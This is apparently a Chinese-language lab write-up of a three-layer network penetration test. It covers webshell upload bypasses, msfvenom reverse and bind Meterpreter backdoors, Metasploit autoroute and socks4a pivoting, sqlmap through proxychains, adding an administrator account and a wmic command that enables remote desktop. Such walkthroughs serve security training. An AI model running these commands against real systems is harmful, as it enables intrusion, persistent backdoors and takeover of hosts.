热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

三层网络渗透测试实验

前言在渗透测试过程中我们会遇到很多不同的网络情况,或许普通的内网渗透我们已经很熟练了,但在现实环境中或许会有多层网络结构,如果遇到多层网络结构我们应该如何进行渗透呢?利用这个实验我

前言

在渗透测试过程中我们会遇到很多不同的网络情况,或许普通的内网渗透我们已经很熟练了,但在现实环境中或许会有多层网络结构,如果遇到多层网络结构我们应该如何进行渗透呢?
利用这个实验我们就可以更清晰的了解多层网络渗透测试的过程。并了解通过msf进行内网渗透,由一级代理到二级代理的搭建来进行对三层网络的渗透的过程。

【三层网络拓扑图】

《三层网络渗透测试实验》

【第一层主机】

目标ip:192.168.31.207
访问目标ip发现是一个文件上传页面
《三层网络渗透测试实验》
经测试可通过文件类型MIME绕过进行上传php脚本,上传成功后返回路径
《三层网络渗透测试实验》

访问返回的文件路径,成功连接到php大马
《三层网络渗透测试实验》

查看ip发现该主机是双网卡,第二层网络段为192.168.1.0/24

《三层网络渗透测试实验》
为进一步进行内网渗透,我们上传msf后门
后门制作:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.207 LPORT=6666 SessiOnCommunicationTimeout=0 SessiOnExpirationTimeout=0 -f elf >shell.elf

将后门上传到第一层主机192.168.31.207

设置msf监听
《三层网络渗透测试实验》
在第一层主机上运行shell.elf

Chmod 777 shell.elf
./shell.elf

msf获得meterpreter
《三层网络渗透测试实验》
将第一层的meterpreter切换到后台运行

background

《三层网络渗透测试实验》

【第二层主机】

利用第一层的meterpreter添加第二层的路由

run autoroute -s 192.168.1.0/24

《三层网络渗透测试实验》
扫描发现第二层主机ip为192.168.1.100

接着利用msf搭建socks代理,好让攻击机直接打第二层网络:

use auxiliary/server/socks4a

《三层网络渗透测试实验》
设置好代理后访问192.168.1.100成功访问到网站

《三层网络渗透测试实验》
利用弱口令admin/admin登录到后台

在设置处发现可修改允许上传文件的类型,修改后保存设置
《三层网络渗透测试实验》
在撰写新文章处添加附件可直接上传php脚本

《三层网络渗透测试实验》
成功连接到php大马
《三层网络渗透测试实验》
为了打开第三层,我们需要在第二层主机上传msf后门
制作后门:

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=1234 -f elf > ding.elf

利用大马上传,并在第二层主机上运行

chmod 777 ding.elf
./ding.elf

设置msf相关配置
《三层网络渗透测试实验》
成功获取到第二层主机meterpreter
《三层网络渗透测试实验》
查看ip发现第三层网段为192.168.2.0/24
《三层网络渗透测试实验》
利用第二层主机的meterpreter添加第三层的网络路由
《三层网络渗透测试实验》
启用一个socks4a代理给第三层网络,端口设置为2334
《三层网络渗透测试实验》
然后在配置文件中加上

socks4 192.168.31.119 2334

《三层网络渗透测试实验》
利用获得的meterpreter发现第三层目标主机为192.16.2.100
《三层网络渗透测试实验》

【第三层主机】

使用代理打开Firefox访问第三层主机ip192.168.2.100
《三层网络渗透测试实验》
通过测试发现http://192.168.2.100/category.php?cat_id=1处存在sql注入
《三层网络渗透测试实验》
利用proxychains跑一下sqlmap

proxychains sqlmap -u"http://192.168.2.100/category.php?cat_id=1"

《三层网络渗透测试实验》
成功注出后台账号和加密的密码
《三层网络渗透测试实验》
发现管理员密码解不开。

利用nmap扫描网站后台路径

proxychains nmap --script http-enum -p80 192.168.2.100

《三层网络渗透测试实验》

发现有个上传点

《三层网络渗透测试实验》
测试发现该上传点是前端检测,利用Javascript绕过即可上传成功
《三层网络渗透测试实验》
访问/upload/uploads/webshelldama.php成功连接到php大马
《三层网络渗透测试实验》
利用大马查看发现是windows2003系统
《三层网络渗透测试实验》
添加用户账号密码
《三层网络渗透测试实验》

将添加的用户账号密码添加到管理组
《三层网络渗透测试实验》
利用大马开启3389端口

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

《三层网络渗透测试实验》
成功开启3389端口
《三层网络渗透测试实验》
利用添加的管理员账号密码成功登录到远程桌面
《三层网络渗透测试实验》


推荐阅读
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • 本文介绍了网页播放视频的三种实现方式,分别是使用html5的video标签、使用flash来播放以及使用object标签。其中,推荐使用html5的video标签来简单播放视频,但有些老的浏览器不支持html5。另外,还可以使用flash来播放视频,需要使用object标签。 ... [详细]
  • Skywalking系列博客1安装单机版 Skywalking的快速安装方法
    本文介绍了如何快速安装单机版的Skywalking,包括下载、环境需求和端口检查等步骤。同时提供了百度盘下载地址和查询端口是否被占用的命令。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 学习SLAM的女生,很酷
    本文介绍了学习SLAM的女生的故事,她们选择SLAM作为研究方向,面临各种学习挑战,但坚持不懈,最终获得成功。文章鼓励未来想走科研道路的女生勇敢追求自己的梦想,同时提到了一位正在英国攻读硕士学位的女生与SLAM结缘的经历。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 本文讨论了编写可保护的代码的重要性,包括提高代码的可读性、可调试性和直观性。同时介绍了优化代码的方法,如代码格式化、解释函数和提炼函数等。还提到了一些常见的坏代码味道,如不规范的命名、重复代码、过长的函数和参数列表等。最后,介绍了如何处理数据泥团和进行函数重构,以提高代码质量和可维护性。 ... [详细]
  • 图像因存在错误而无法显示 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • Asp.net Mvc Framework 七 (Filter及其执行顺序) 的应用示例
    本文介绍了在Asp.net Mvc中应用Filter功能进行登录判断、用户权限控制、输出缓存、防盗链、防蜘蛛、本地化设置等操作的示例,并解释了Filter的执行顺序。通过示例代码,详细说明了如何使用Filter来实现这些功能。 ... [详细]
  • Hibernate延迟加载深入分析-集合属性的延迟加载策略
    本文深入分析了Hibernate延迟加载的机制,特别是集合属性的延迟加载策略。通过延迟加载,可以降低系统的内存开销,提高Hibernate的运行性能。对于集合属性,推荐使用延迟加载策略,即在系统需要使用集合属性时才从数据库装载关联的数据,避免一次加载所有集合属性导致性能下降。 ... [详细]
  • LVS实现负载均衡的原理LVS负载均衡负载均衡集群是LoadBalance集群。是一种将网络上的访问流量分布于各个节点,以降低服务器压力,更好的向客户端 ... [详细]
author-avatar
HE-KILL-MY-EGO
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有